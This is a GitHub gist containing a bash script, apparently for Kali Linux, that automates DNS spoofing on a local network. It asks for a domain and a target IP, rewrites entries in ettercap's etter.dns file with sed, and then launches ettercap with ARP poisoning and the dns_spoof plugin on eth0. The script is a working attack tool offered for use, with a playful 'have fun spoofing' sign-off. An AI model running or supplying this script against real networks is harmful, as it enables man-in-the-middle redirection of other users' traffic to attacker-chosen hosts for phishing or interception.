Skip to content

Instantly share code, notes, and snippets.

@AaronVigal
Created May 25, 2016 00:09
Show Gist options
  • Save AaronVigal/453edbc0eee467cd788735af98c3a0c4 to your computer and use it in GitHub Desktop.
Save AaronVigal/453edbc0eee467cd788735af98c3a0c4 to your computer and use it in GitHub Desktop.
DNS Spoofing Script for Kali Linux
#!/bin/bash
# Script made by Aaron Vigal. http://www.aaronvigal.com
read -p "What is the base URL? " url
read -p "What is the IP Addressed to be spoofed to? " address
sed -i '59s/.*/www.'$url' A '$address'/' /etc/ettercap/etter.dns
sed -i '60s/.*/*.'$url' A '$address'/' /etc/ettercap/etter.dns
sed -i '61s/.*/www.'$url' PTR '$address'/' /etc/ettercap/etter.dns
echo "";echo "3 Lines successfully changed in /etc/ettercap/etter.dns";echo ""
echo "Are you ready to fire up Ettercap? "
select yn in "Yes" "No"; do
case $yn in
Yes ) echo "Thanks for using my tool! Have fun spoofing ;) ";ettercap -Tqi eth0 -M arp -P dns_spoof;exit;;
No ) echo "Okay! Goodbye!"; exit;;
esac
done
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment